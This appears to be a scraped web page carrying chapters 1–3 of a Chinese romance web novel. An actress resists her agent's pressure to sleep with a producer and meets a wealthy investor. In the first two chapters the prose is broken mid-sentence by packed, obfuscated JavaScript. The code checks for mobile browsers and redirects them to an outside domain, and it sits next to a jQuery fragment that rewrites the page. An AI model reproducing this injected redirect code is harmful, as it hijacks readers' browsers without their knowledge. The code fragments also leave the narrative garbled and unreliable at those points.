《夜色莺啼[先婚后爱]》 1. 第 1 章 初夏的南城树木浓郁，鸟鸣微风。 南城CBD信威大厦经纪人办公室传来声声责备。 “林莺我早就跟你说过，入了这行还这么天真是不行的。” 主位上说话的男人叫陈自明，是林莺的经纪人。 话音落下，林莺清冷的眸子垂了垂，继而又扯了下嘴角，没有出声。 男人没说完，继续嘲讽，“今晚你跟我去南城国际酒店宴会厅，我给你引荐制片人，只要你哄哄他，再加上公司的面子，他自然会识趣，也不会带人跟你抢这个角色，你说呢？” 陈自明说的角色是《星星暗语》这本小说的女主，这本小说名气极大，自带流量，圈里不少明星艺人早对它虎视眈眈，目前已经进入筹划阶段。 如果能出演女主，绝对可以让自身流量和咖位摆脱十八线。 按理来说，信威应该会推荐比她名气大的艺人去试镜，她只是公司里最不出名的一个小透明，所以陈自明现在说的，林莺并不相信。 这意思是想让她去接受潜规则暂时先拿下角色？至于最后公司让谁出演还不一定。 林莺冷哼：“陈哥，我自入行第一天就说过我不接受潜规则。” 陈自明被噎了下，转了转眼睛：“林莺，你也不看看这三年，你演的都是什么角色，再不接受潜规则，你还能吃上饭？” 陈自明虽然嘴上这么说，但心里却又隐隐担忧，自做了林莺的经纪人，他就知道这个表面清冷淡漠的女孩有着倔强的性子，可她偏偏自带灵气，演技一点就透，比那些只有流量的花瓶省心得多。 因此虽然她演的都是小角色，可却因为精湛演技和出众的业务能力被不少导演记住，她三年来剧本不断。 今天这个局，他选择带林莺也的确是因为她的业务能力和出色长相。 见林莺没说话，陈自明看了她一眼继续：“林莺，这三年公司给你介绍了多少好资源，可你非要坚持你那可笑的底线，沦落到只能演配角，让你上综艺刷刷脸你也不去，清高是好，只是装了三年也该装够了？” 从陈自明说第一句话起，林莺心里的火已然烧起，给她多少好资源？别人挑剩下的才给她也算是好资源？ 今天陈自明破天荒把大热ip剧本递给她，葫芦里不知道卖的什么药。 她撑着最后一丝体面：“我说了我不接受潜规则，如果一定要这样才能演主角，那我宁愿演一辈子配角，还有事吗，没事我先走一步。” 说完，林莺从沙发上起身，准备离开。 高跟鞋和地面碰撞发出“哒哒”的声响，可身后的男人再次出声。 “林莺，别忘了你和公司的合约快要到期，你不去宴会可以，但你觉得接下来你还能续约？就算不续约，以你现在的名气和资源，你以为离开信威你还能去哪？” 林莺脑海里闪过一道白光，差点把合约到期的事情忘了，她脚步顿住，手掌捏成拳。 三年前，她二十岁，彼时她刚刚用两年的时间修完了大学的全部课程，因为急需用钱，加上被信威娱乐星探看中，她一脚踏入娱乐圈，三年来她剧本没有断过，什么角色都接，片酬虽然不多，但足以支撑她的生活和母亲的疗养费用。 合同签了三年，今年是最后一年。 心里的气焰慢慢消散，林莺重重呼了口气，闭了闭眼睛，在去与不去宴会之间徘徊许久。 她的确需要钱，可合约到期后资源自然是会少许多，现在也没有下家，目前来看自然不想和信威解约，至少这样能够支付起母亲所需费用。 林莺内心挣扎了片刻，又算了算自己银行卡的余额，她泄了气，转变态度，决定先答应下来，晚上随机应变。 她轻扯了下嘴角，倔强转身，淡淡开口：“晚上几点？” “这就对了。”陈自明轻哼出声，满意又舒畅地看着林莺，“据说今天裴氏资本的裴总也会去，如果你能攀上裴氏的关系，也不失为对公司做贡献。” 林莺脑子里嗡嗡作响，根本没听到陈自明说的裴氏资本，她冷漠眸子里的亮光渐渐消失。 - 南城早早进入雨季，晚上的空气异常闷热，似乎下一秒暴雨就要倾盆而出。 八点，一辆黑色保姆车悄然钻进南城国际酒店地下停车库，紧接着在电梯口前的车位上停下。 车子停稳后，助理小楠拿出化妆包在保姆车里给林莺补妆。 车窗半降，地下室阴凉的空气进入，林莺终于可以喘口气。 “莺莺姐，妆容没问题了。”小楠笑出声，面对林莺小巧精致的脸，忍不住多看了两眼。 她从三年前跟着林莺，初见林莺时，便被林莺姣好的容颜吸引，继而再被她身上敬业坚韧的品质折服。 不熟悉林莺的人都说她假清高，但小楠却觉得林莺是娱乐圈一股清流。 小楠沉浸在回忆里，一时走了神。 林莺抬手在小楠鼻尖蹭了下：“我的手机呢？” “哦哦哦，在这，莺莺姐。”察觉到鼻尖的温热，小楠回神，笑嘻嘻从身后拿过林莺的手机交给她，“莺莺姐，快要结束的时候你跟我发信息，我和王哥来接你。” 王哥是信威安排的司机，偶尔也兼职保镖。 “好。”林莺点头，“有没有湿巾，我想擦下手。” “有的，莺莺姐给你。”小楠拿出湿巾，递给林莺。 小楠看着林莺擦手，心里一直疑惑为什么莺莺姐洗手或者擦手的频率那么快，明明刚刚上车前就洗了手的？ 擦完手，林莺提着裙子从车上下来，小楠帮她提着白色鱼尾裙的裙摆，一路送林莺到电梯口，小楠才回了车上。 进入电梯，林莺的表情变得更加阴沉。 她最讨厌这样的场合，以前她从来不会跟着陈自明来，但现在缺钱的她，已经别无选择。 电梯直升顶层宴会厅，电梯门开启，林莺深吸一口气，提着裙子出去。 站在顶层走廊，林莺四处环顾，终于找到陈自明给她发的宴会厅，这个厅在走廊尽头，需要拐弯才能看到，隐私性很强。 林莺探着头走进去，却看到拐角尽头站着一道高大的男性身影。 那身影从背面看至少有一米八五，宽肩窄腰，黑色西装极其合身，将他的背影衬得更加挺括有型。 男人左手抬起，拿着手机放在耳边，应该是在打电话。 林莺悄声走近，来到宴会厅门口，转头再次看了眼尽头的男人，随即听到带有磁性的低沉男声。 “我知道了，妈，您不用总催。” 好像是在给家人打电话，林莺抿唇，不想窥探别人的隐私，于是推门进了宴会厅。 在她进门的下一秒，打电话的男人也结束通话，转身准备进去。 林莺进宴会厅后，引来不少人的目光，这些目光有好奇有疑惑，有不在意也有审视，更有男人被惊艳的目光。 她被看得不自在，从门口走向陈自明的路只有五米远，但林莺却觉得走了一个世纪。 好在她来到陈自明身边后，那些目光尽数消失。 “来来来，林莺，你可算来了。”陈自明招手，示意林莺站在他身边，“给你介绍一下，这位是知名制片人许兴盛许总。” 林莺看向对面的人，男人看起来有四十岁，身材矮小肥硕，头顶没有一根头发，亮得反光，但最让她不适的地方还是男人带着精明的审视目光。 她强忍着尴尬，抬眸看向许兴盛，点头开口：“许总您好。” “哎吆，早就听陈总说他手下有个美女演员，今天一见果然名不虚传，嘶...那个词怎么说来着，对，仙女下凡！”许兴盛说完，大笑出声。 身边的人包括陈自明也赔着笑。 林莺胃里有点翻腾，她脸上没有表情，看向陈自明。 一群男人慢慢淡了笑，陈自明自然是察觉到林莺的目光，他轻咳一声：“那许总，今晚就让小林陪您？您别看小林性子冷，但年轻懂得多，什么都能跟您聊起来，您放心。” “好好好。”许兴盛点头，眼神不经意又落在林莺身上。 陈自明碰了下林莺的胳膊：“还不快给许总敬个酒？” 林莺本就犯恶心，听到酒字更是快要吐出来，她看了眼空空如也的手，歉声道：“好，我去拿酒。” 她转身，来到桌前挑选了杯度数最低的香槟，然而刚要离开时，却发觉有一道极强的视线落在自己身上。 林莺向来是个敏感的人，此刻确信自己感觉没有出错，她抬头，趁整理头发的动作环视了一圈宴会厅，却没有看到视线来源。 许是她感觉错了，林莺安慰自己，转身回到陈自明身侧。 “许总，我敬您。”林莺端起香槟，抬手看向许兴盛。 许兴盛肥硕的脸上挂着笑，伸手和林莺碰杯，然而在杯子触碰的时候，他空着的左手却忽然搭上来，捉住林莺的右手。 林莺皱起眉头，想要抽离自己的右手，却被许兴盛紧紧握住，“许总，请自重。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602877|172047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你看现在的小姑娘啊，真是浮躁。”许兴盛看着林莺，轻蔑哼了声，随后又冲陈自明开口，“陈总，您看这小林，是不是不太情愿陪我啊？” “怎么会，许总，您和小林慢慢聊。”陈自明笑着，给了林莺一记刀眼，准备离开这里。 男人油腻恶心的手还死死抓着她，林莺胃里忽然翻腾起来，忍不住想要逃离这里，她用力挣扎：“许总！请您放开！” 许兴盛冷笑两声：“装什么清高，你跟着陈自明来这不就是想往上爬，这都接受不了？” 林莺听得难受，再次用力挣脱，手里的高脚杯落地，碎片夹杂着香槟液体四溅，破碎声引得周围人不断看过来。 手被解放出来，她后退两步，拖着裙摆跑出了客厅。 陈自明听到动静，看向逃出去的林莺：“林莺，你干什么去？” 没人能叫住她，林莺出了宴会厅，找到洗手间干呕片刻，十分钟才慢慢缓过神来。 舒缓片刻，林莺回想起刚刚宴会厅的场景，里面的男男女女没一个简单角色。 油腻的中年男人侃侃而谈，吹着不知道什么时候才能实现的牛，谄媚的女艺人尽职当着玩物，一味巴结着那些男人。 打开水龙头，林莺冲洗完双手，准备离开。 宴会厅内，裴予川被角落里的嘈杂声吸引，他回头，却发现刚刚一直在视线里的人不见了踪影。 深邃眼眸沉了下，薄唇上染着丝丝红色液体，神色迷离又透着些许冷淡。 身侧奉承的人见裴予川出神，却没有一个人敢提醒，只因眼前的男人是南城体量最大的资本公司的掌舵人。 地位之高，无人敢得罪。 不少女人频频向他递来眼神，却都铩羽而归。 裴予川是出了名的不沾风月。 “刚聊到哪，继续。”男人收回视线，看向身边的人。 凝固的气氛破冰，众人继续聊着商业上的事情。 只是裴予川却心思不在，精致硬朗的轮廓始终紧绷着，眼眸低沉，矜贵自持的气质仿佛染了层霜。 刚刚和他一起进宴会厅的黄莺，去哪里了呢？ 林莺一路下了电梯来到酒店大堂，后面居然无人出来寻她，大概是陈自明早就预料到她可能会逃跑，毕竟这事也不是她第一次干。 这会自由下来，林莺却极其懊悔，她为什么要答应陈自明来这场宴会，被已经有家室的许总上下打量，这让她想到了出轨的父亲，实在不适。 这次的逃离，在公司会被判‘死刑’。 从大堂出来，林莺看着砸在地上的滂沱大雨，心沉到谷底。 白天还好好的，怎么会忽然下雨。 老天还真是会配合她的心情，知道她现在就是个落汤鸡。 拿出手机，林莺想给小楠打电话让她过来接她，可关键时刻手机居然关机了。 林莺试图给手机开机，可仔细一看手机底部居然进了水，估计是刚才在洗手间的时候弄进去的，不知道还能不能用。 真是屋漏偏逢连夜雨。 林莺叹了口气，脱掉脚上的高跟鞋，将鱼尾裙拎起，一头扎进暴雨。 暴雨浇在身上冰凉无情，虽说是六月里，可林莺还是打了个寒战。 她抬头擦了下眼前的雨水，来到公交站下躲雨，公交站下有一排长凳，林莺走过去坐下，抬头看向漆黑的夜幕和暴雨，心情烦躁到极点。 等待二十分钟，暴雨没有要停的意思，林莺重新提起裙摆，决定继续淋雨回家。 可刚踏出第一步，便被一辆黑色轿车逼停。 林莺抬手遮雨，看向面前的车，确认这辆价值八位数的车是在堵她，她心里咯噔，难不成是陈自明带着许兴盛直接来堵她了？ 黑色的车副驾开启，上面下来一个男人，林莺下意识后退两步，男人却撑着伞来到林莺面前。 “小姐，这伞和外套给您。”男人很年轻，走近后将东西递给她，语气温柔有礼。 林莺不喜欢接受别人的帮助，更何况还是不认识的陌生人，她戒备地看向他：“不用，我不需要。” 男人犹豫片刻：“小姐，我只是听吩咐做事，请您收下。” 林莺猜测这人应该是助理身份，注意到男人为难的神色和坚持的态度，她扔掉高跟鞋，接过伞和外套，旋即透过副驾驶看向黑车后排。 虽然灯光昏暗，但林莺却和一双深邃的眼眸对视。 心跳声猛然剧烈，如雨滴砸在地上。 2. 第 2 章 暴雨还在继续，豆大的雨滴倾斜，越过公交站的棚顶落在林莺额头，很快便感觉到一阵痛感。 林莺收回视线，低头看了眼手上的雨伞和外套，在年轻男人即将离开时，她才想起来道谢：“谢谢。” 年轻男人看了眼后排，又转头看了眼林莺：“不用谢。” 吴其开门重新回到副驾，车窗上升时他看向站在公交站台边的林莺，冲她扬起一个淡淡的弧度，随即将窗户关闭。 千万豪车在车窗关闭后启动，车内瞬间安静下来，只有隐约的雨滴声。 吴其透过后视镜，看向后排的男人：“裴总，伞和衣服已经送到，林小姐收下了。” “嗯。”后排的男人淡淡出声，沉默两秒，他再次开口，“安排的车到了吗？” 副驾驶的吴其看了眼手机里替林莺叫的车，点点头：“嗯，到了。” 裴予川似是放心下来，轻轻阖眼：“问问司机她是否上车了。” “好的，裴总。”吴其应声，随后给司机打去了电话。 林莺站在路边，撑着伞，再次警惕地看向冲她招手的光头司机，刚刚给她伞和外套的劳斯莱斯刚走，这会儿又来了辆宾利。 她后退至站台后面，拒绝司机的邀请。 此刻，司机的邀请被电话铃声中断，林莺看了看司机，将外套披在身上，趁陌生司机不注意撑着伞扎进了雨中。 “吴助理，林小姐走了，她死活不上我的车。”司机是个中年男人，也是裴予川的司机，刚刚被吴助理叫来接林莺。 对面的吴其点头：“知道了，你先跟着林小姐，不要吓到她。” “好嘞好嘞，吴助理，我明白。” 挂了电话，吴其如实向裴予川汇报情况，后排男人在听到林莺拒绝上车后猛然睁开眸子，下颌绷紧了一瞬。 “掉头。”裴予川轻启薄唇。 司机心领神会，掉转方向准备回去。 吴其透过后视镜诧异地看向裴予川，不太明白向来不会多管闲事的老板今天为何会帮助这位小姐。 林莺拖着礼服撑伞走在人行道上，可后面的宾利还在跟着她，她不明白这辆车究竟想干什么。 雨势逐渐减小，林莺抬头看向前方，终于看到一丝曙光。 不远处有一家便利店。 她加快了脚步，踏进便利店。 林莺向店员借了手机，给同在南城的好友秦觅打去了电话，对面响铃好久终于接了电话。 “你好，哪位？” 林莺放心下来：“秦觅，是我，我在明华路的可好便利店，能不能过来接我一下？” “莺莺？！”秦觅震惊的声音从对面传来，她应下，“好，你等会我，我马上到。” 还了手机，林莺发觉自己的手控制不住地颤抖，她犹豫了几秒：“请问这有洗手间吗？” 店员用奇怪的眼光看了看林莺，随即指了指后面。 林莺道了谢，进了洗手间，打开水管，任由凉水冲在已经满是雨水的双手上。 洗完手，她抽纸擦干，来到休息区等待。 透过玻璃窗，她看到外面那辆宾利还停在路边，半分钟后，她再抬头，却又看到宾利后面又停了辆劳斯莱斯。 林莺：？ 怎么回事，那两辆车怎么一直跟着她？ 她低头看了眼自己的外套，是一件男士西装，剪裁精良，手感即便是被淋湿了却也非常好，看起来价值不菲。 再看向脚边的伞，林莺更加惊讶，因为伞柄上的标识居然是劳斯莱斯。 她张了张嘴巴，下意识看向外面那辆劳斯莱斯。 等了二十分钟，秦觅的车终于出现在视野中，林莺心中闪过欣喜，撑着伞走出了便利店。 “莺莺，你怎么回事？身上怎么湿成这样？”秦觅拉着林莺上了车，找到干净毛巾递给林莺。 林莺接过毛巾，面无表情地脱下身上的黑色外套，将上半身擦了擦：“没什么，从宴会上逃出来的。” 秦觅了然：“那个陈自明又想送你去那些油腻制片人床上？” “嗯。”林莺轻应了下。 秦觅一脸无奈，发动车子：“算了算了，先回家，回公司给你租的房子还是你自己家？” 林莺擦身体的手顿住：“回我自己家。” “行。” 暴雨渐渐停下，接走林莺的车也驶离了便利店。 “裴总，我们也走吧？”吴其轻声提议。 裴予川眼神不知落在何处，片刻，他垂眸，抬手将车窗升起：“走吧，回庄园。” - 被秦觅送到家的时候，已经将近十一点。 这套房子只有两室一厅，年份也已经很久了，是她母亲二十年前买的，和父亲离婚后，这套房子就成了林莺的家。 “莺莺，今晚到底怎么回事？”秦觅在沙发上坐下，看着好友，“你不是不接受潜规则，今晚怎么会跟着陈自明去？” 林莺刚刚从卫生间出来，她换掉身上的鱼尾裙，将黑色西装在脏衣娄放好，擦着头发：“我和信威的合约快到期，现在需要钱，没法和信威撕破脸，就答应去了。” “这么快？”秦觅惊讶后又反应过来，“也是，都三年了。” 两人是大学室友，当年林莺是她们宿舍最认真的一位，用两年时间修完所有学分，早早进入了娱乐圈。 她们都知道林莺有个植物人母亲，所以林莺在被信威娱乐签下的时候，她们是为林莺高兴的。 可她们也都知道，娱乐圈是个吃人不吐骨头的地方，担心林莺会受伤。 好在林莺虽然急需钱，但依旧保持底线，凭借着演技天赋收获了不少角色，这几年也能支付得起母亲的疗养院费用。 “阿姨的病情怎么样？”秦觅想到这些，照常询问林莺。 “和以前一样，不好不坏，没有苏醒的迹象。”林莺擦干头发给秦觅烧水，“我一个月去看她一次，护工很尽心，但治疗方面还是没有进展。” “哎，国内的治疗办法都快试了一遍了吧，阿姨受苦了。”秦觅叹了口气，转移话题，“那你今天逃席得罪制片人，陈自明不得气死，现在合约又快到期，你接下来怎么办？要不我先借你点？” 林莺轻笑，将热水递给秦觅：“你才毕业一年，有多少钱借给我？” 秦觅抿唇，她比林莺晚毕业两年，去年刚进入另外一家传媒公司给网络主播做经纪人，现在好不容易才攒钱买了辆二手车，的确没有多余的钱借给林莺。 更何况，林莺母亲的疗养院一个月就需要大五位数，比她现在的工资还高。 “要不你解约后来我们公司算了，我们公司虽然不是培养明星的，但是做网络主播也还可以，以你的颜值和名气，肯定可以做起来。”秦觅提议。 林莺心动了几秒，可想到网络主播的工作状态，她又泄了气。 她性子冷淡，接受不了潜规则，自然也放不下身段来讨好网络上的‘大哥’。 “到时候再说，合约还有两个月到期。”林莺摇摇头，“我手头还有个角色没杀青，解约后我先看看有没有其他戏可以拍。” 秦觅看着林莺消瘦的身形和落寞的脸，心疼起来，她起身，来到林莺身侧：“莺莺，别太累，你看看你瘦得只剩一副骨架，要是阿姨醒来了肯定很心疼你。” “我没事。”林莺抿唇扯了下嘴角，安慰好友。 秦觅靠在林莺身上，低头看到了门口的伞，像是发现什么，从林莺身侧离开，指着伞上的标志：“莺莺，这个伞是谁给你的？这可是豪车上的专属雨伞！” 林莺抬眸，回忆起刚刚在路边淋雨的场景以及那双令她心惊的眼眸，她没看到那人的全脸，摇摇头：“我也不知道。” - 从便利店离开，半个小时后，裴予川回到悦来庄园。 这里是依山傍水的别墅区，也是他自小生活的地方，现在是他父母在住，他偶尔会回来看望父亲，或者陪两人吃顿饭。 “妈，我回来了。”裴予川进门，换好拖鞋。 别墅一楼的水晶吊灯还亮着，说明母亲杜曼还没有睡，他踱步走进客厅，果然看到杜曼从楼梯下来。 “予川回来了，今日外面下雨，通完电话我还以为你不会回来了。”杜曼年近五十，可保养得当的皮肤和身材让她看起来不过才四十。 “明天我休班，今晚住下。”裴予川表情无多，看了眼楼上：“爸睡了？” “嗯，刚睡着。”杜曼点头，看了眼二楼眉头极轻地皱了下，“今天你爸心情不太好，身体也跟着不舒服，早早睡下了。” 话音落下，裴予川也跟着皱了下眉头。 杜曼陪裴予川来到真皮沙发前坐下：“裴氏最近怎么样？项目进行得都还顺利吗？” “嗯，顺利。”裴予川点头。 “那就好，虽然你已经在这个位子上三年，但这三年，我心里无时无刻不在担心你被别人算计。”杜曼说着，又看了眼二楼，“你父亲也是。” 裴予川握住杜曼的手，安慰道：“妈，您忘了您儿子怎么上位的，敢算计我，下场只会和二叔一样。” 说完，男人温和的眉眼中闪过丝丝狠厉。 杜曼心惊一瞬，转而点头：“是妈多心，对了，今天在电话里给你说的，你考虑得怎么样了？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我陪你去，莺莺姐。”小楠义正词严。 “好。” 两人简单吃了早饭，林莺和小楠一起回信威。 信威在南城拥有一整栋写字楼，两人上电梯后直接来到20层，陈自明办公室所在的楼层。 小楠敲门后，替林莺推开了陈自明的门，林莺硬着头皮进去。 “还知道回来！”陈自明叫嚣的声音在林莺进去的一瞬响起。 然而林莺屹然不动，任由陈自明输出，等人骂完，她才轻笑一声：“陈哥骂完了，那谈谈解约的事？” 陈自明冷哼：“解约？你还记得要解约啊？” “我告诉你林莺，昨天因为你得罪了许总，他已经把你拉进了黑名单，我是看你有点演技才不跟你一般见识，不然你以为你还能回来？” “识相点，把你的贞节牌坊扔掉，今晚再给你最后一次机会！” 听陈自明的话，林莺虽然略微诧异，却依旧干脆拒绝：“不去。” 陈自明愿意带她去各种宴会，大都出于利用，利用她的美貌和演技拿下角色，然后临开拍前再把她撤掉，换成公司其他有流量的艺人。 她不是自大，林莺对自己的外貌还是自信的，在信威女艺人里，她的颜值应该可以进前三。 “这个由不得你！今晚是裴氏资本为首部电影举办的发布晚会，裴总也会到，你不去也得去！”陈自明怒声道。 裴氏资本？ 林莺回过神，心里再次闪过惊诧，这个企业名字，她在心里记了两年。 两年前她和一名特邀演员拍一场落水戏，拍摄的池塘满是脏水，她给剧组提议换成干净点的水，但无奈她人微言轻，被拒绝了，特邀演员被迫落了脏水。 就在轮到她开拍的时候，林莺却看到池塘里的水被换成了清澈的干净水，事后她才知道是投资人要求将水换掉的，而那部剧的投资人正是裴氏资本。 拍完后她的皮肤状态没有任何问题，而那名特邀演员却患上了皮肤病，就此在娱乐圈消失。 林莺到现在还在庆幸这件事，虽然她不清楚两年前那位投资人究竟是裴氏的哪位大佬，但她两年来一直将这份恩情记在心里。 “想什么呢，林莺你听到没有，今晚你必须去！”陈自明起身，来到林莺面前，带着怒气提醒她。 可见林莺不说话，陈自明当即想要继续骂她。 林莺却霍然抬头，清冷出声：“今晚我会去。” 3. 第 3 章 暴雨后的天空格外清冽，悦来山庄花园里花朵开得正盛。 裴予川醒来后下楼，来到花园里。 母亲杜曼正拿着水壶亲自给花朵喷水，父亲裴元德坐在躺椅上晒着太阳，裴予川身穿居家服，在父亲身后站定。 “是小川吗？”裴元德略带疲惫的声音响起，边说边慢慢扭头。 裴予川嘴唇抿了下，看着父亲如此吃力的动作，他眸色垂下，转而绕到裴元德身前，蹲下身：“爸，是我。” 看到裴予川的时候，裴元德萎靡的脸上终于出现丝丝亮光，他点点头，嘴角扬起弧度：“昨晚我睡得早，没能等到你回家，怎么样，裴氏还好吧？” “一切都好，您放心。”裴予川覆上父亲的手，温声安慰他。 “那就好，看到你和裴氏都好，我也就放心了。”裴元德声音虚弱，继续在躺椅上休息。 “我现在唯一不放心的就是你的婚事，小川，裴氏不需要你联姻，你只管找个喜欢的女孩结婚，爸死之前能看到你结婚，宁愿带着污点进棺材也没遗憾了，满足爸爸的一桩遗愿，好不好？” 裴予川垂首，重重呼出一口气，缓了几秒钟才抬头：“爸，别胡说，什么遗愿污点，您要好好地看着我结婚。” 裴元德笑了：“好，我等着。” 父子俩的对话尽数落进杜曼耳朵里，她背对着两人悄悄擦了下眼泪。 擦干眼泪后她抬头看向湛蓝的天空，很是不解，为什么一生善良的丈夫会被诬陷那样的事。 - 林莺从信威出来后，和小楠一起回了公司给租的公寓。 这套公寓是她演了一个女三，在圈内小爆了一下后公司给她的奖赏，公寓面积不大，只有九十平，她住了两年多。 “莺莺姐，《梦里花落知多少》还没杀青，您下场戏的通告是后天，明天晚上咱们就要出发回云城了。”小楠看着手机群的通告单，出声提醒林莺。 林莺在厨房给自己倒水：“知道了，你先订机票。” “好。”小楠点头，三两下订好机票，随后来到厨房，犹豫开口，“莺莺姐，您昨天逃席，为什么今天还答应陈哥去宴会啊？” 倚靠在厨房门口的人表情顿了下，旋即抬头看向窗外。 小楠以为林莺生气了，连忙抬头悄悄看了眼，却被她清冷双眸里的落寞惊到。 林莺今天其实才不过二十三岁，本该是青春活泼的年纪，可小楠不知道为什么，莺莺姐脸上总是带着淡淡的愁容和冷漠。 虽然她知道，莺莺姐不是个冷漠的人。 “今晚是裴氏资本做东。”林莺解释。 小楠张大了嘴巴，惊讶道：“裴氏资本，莺莺姐，你不是一直想知道两年前，帮你在剧组争取干净水池的人是谁吗？” “嗯。”林莺点头，紧接着摇头，“可惜，不知道那人的名字，今晚去裴氏资本的晚会捧场，就算感谢吧。” 小楠认同地点了下头，想起两年前那场戏，现在还在后怕，如果当年莺莺姐也真的在脏水里拍完那场戏，不知道会不会落得和那位特邀一样的下场，毁容退圈。 “那莺莺姐你今晚随机应变，不要被陈哥给胁迫了！”小楠握起拳头，给林莺加油打气。 林莺嘴角微微扬起，点头：“好，谢谢小楠的鼓励。” “对了莺莺姐，昨晚你淋着雨回来的，今天有没有发烧啊？”小楠想起什么，凑到林莺身前，抬手覆上林莺的额头测试温度。 “是有点烧，今天早上你去之前吃了药，现在没事了。”林莺笑笑，抬手抓下小楠的手。 说完，她低下头，又想到了昨晚将她逼停借给她伞和外套的男人。 林莺心里闪过丝丝说不清的情绪，她不喜欢麻烦别人，即便是麻烦了别人势必要尽快还回去人情。 她想把伞和外套还给那人，可她都不知道他是谁。 林莺拿着水杯来到客厅，看到了从家里带来的手提袋，里面放着那件外套，伞却不在，应当是小楠没看到落在了南城嘉园。 她弯腰将手提袋拿到脚边，抽出袋子里的黑色外套看了看，外套已经干了大半，可惜已经皱了，不知道干洗店能不能恢复。 “小楠，下午送我去晚会后，你找地方把这件外套送去清洗。”林莺叫来小楠，仔细嘱咐她，“这外套看起来价值不菲，记得找个靠谱的店。” 小楠好奇地看向手提袋，随后应下来：“好嘞，您放心吧，莺莺姐。” “嗯。” 下午四点，化妆师上门来给林莺妆造，五点化妆结束，化妆师替林莺选了套米杏色连衣裙。 五点十五分，林莺和小楠准备下楼前往裴氏晚会。 “莺莺姐，那我就直接拿着这件外套了。”出门前，小楠提上外套。 林莺点头：“好。” 裴氏资本的晚会位置在裴氏投资的一家五星级酒店里，距离公寓不算远，林莺从保姆车上下来后，跟小楠道别，自己拿着邀请函准备进去。 她虽然是个演员，可每次出门她都不用刻意戴墨镜和帽子，因为根本没人能认出来她。 这样也好，出门自由，林莺自嘲笑了笑。 这家酒店是园林式酒店，大门是中西式结合的设计，此刻铺着红毯，两侧是各路记者的长枪短炮。 众人都不认识林莺，见她下来，所有记者无动于衷，甚至懒得打开摄像机。 “这谁啊？长得还挺好看？” “不认识，十八线小演员吧？” “真的假的？十八线能被邀请来这？” “谁知道呢，反正不用拍，咱们也能休息一会儿。” 林莺心理素质强大，迈着流星大步淡定走上去，准备快速通过这条红毯。 十几米的红毯不过几秒就走过了，临近门口时，林莺被侍应生拦下来要求出示邀请函，林莺拿出陈自明给她的邀请函递过去。 检查没问题，侍应生放林莺进去。 刚踏进去半步，林莺却听到身后传来一阵嘈杂声，她转身看过去。 一道挺拔的身影从黑色轿车上下来，男人脸庞俊朗凌厉，眉目深邃，身着黑色西装，举手投足间贵气十足，饶是两边的记者蜂拥而上，也掩饰不住他身上夺人眼球的气质。 林莺注视着男人，愣在了原地，因为男人的身形过于熟悉，很像昨晚在宴会厅门外遇到的那个背影。 “小姐，请您尽快进去，这里不允许逗留。”侍应生的声音将林莺的思绪拉回，她点点头，视线却仍落在外面红毯上的男人。 像是有感应一般，男人忽然移过目光，和林莺对视，隔着人群。 林莺看到了男人的眉眼，沉稳疏淡，她略微惊了下，连忙收回视线，犹豫两秒后径直进入了酒店庭院。 走在中式园林的回廊里，林莺思索着刚刚的对视，这双眼睛很是熟悉，尤其像昨晚劳斯莱斯车内的那双。 会是他吗？ 林莺不能确定，暂时放下心里的疑惑，抬眼看到前方庭院里已经聚满了人，林莺很快找到陈自明的方向，走了过去。 酒店外，裴予川还在接受记者的提问。 “裴总，请问今日发布的最新电影大概什么时间会上映呢？” “裴总您好，请问裴氏为什么会突然将目光投向传媒行业，可以请您解答一下吗？” “裴总，能给透露下裴氏下一步的电影投资方向吗？” 裴予川保持着良好的教养，在吴其和保安的保护下往酒店入口走，记者的提问被吴其一一挡下：“各位，稍后晚会上裴总会回答这些问题，麻烦先让一下。” 十几米的红毯，裴予川走了足足五分钟才走进去。 进了门，裴予川先是环视了一圈，试图找到刚刚看到的女孩，然而门后区域一个人也没有。 “裴总，您没事吧？”吴其见裴予川愣在原地，以为他刚刚被记者推搡伤到。 裴予川摇头：“走吧。” 进了内场，所有人都已到齐，开放式宴会庭院内，众人纷纷将目光集中在今天这位重量级人物身上，裴予川在众人的注视下走向提前布置好的花台。 林莺躲在角落，看向台上的男人。 陈自明在她身侧介绍：“台上这位就是裴氏资本的掌权人裴总，全名裴予川，身价千亿，裴氏投资的行业多，传媒这块是近些年才开始做，要是咱们公司被看中，以后可就不愁制作了。” 林莺不怎么关注财经，自然不太了解裴氏资本，但听陈自明介绍完，林莺还是被惊到，裴氏体量 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记者们搬着机器从外场进来，簇拥在花台下，将镜头对着台上的男人。 “大家好，我是裴氏资本裴予川，非常感谢各位的到来，为电影《山外山》捧场...” 十分钟的演讲，男人语调平稳，气场强大，演讲结束后，他开始回答记者的提问。 “《山外山》预计九月开机，上映时间为明年年底，届时请关注裴氏官网最新资讯。” “裴氏投资传媒行业并非突然，近年来文化行业兴盛，在三年前，裴氏已经开辟了一条传媒业务线，《山外山》是进展最快的一部电影，并非首部。” “下一步裴氏会继续关注传媒行业，致力于挖掘更多优秀的剧本和演员，谢谢大家的关注。” 裴予川发言完毕，台下响起掌声，林莺也跟着鼓掌。 她进娱乐圈三年，的确没听说过哪部电影是裴氏资本投资的，只知道裴氏投资过一些电视剧，譬如她两年前那部剧。 但裴总却说三年前已经开始了传媒行业投资，她有点好奇，裴氏投资的首部电影是什么？ 可惜，她还从来没接到过电影角色呢，憧憬地将视线转移，林莺的目光落在《山外山》的概念海报上。 如果有一天她能够上大荧幕，她一定会付出她毕生的演技。 发言结束后，会场内便进入自由社交环节，陈自明忙着和各路投资人制片人导演说话，已经顾不上她，林莺心里松了口气。 院子里人太多，林莺觉得烦闷，先找到洗手间洗了洗手，随后便偷偷顺着回廊准备去刚刚路过的水榭透口气。 这所中式酒店的设计实在巧妙，一处一景，山水交错。 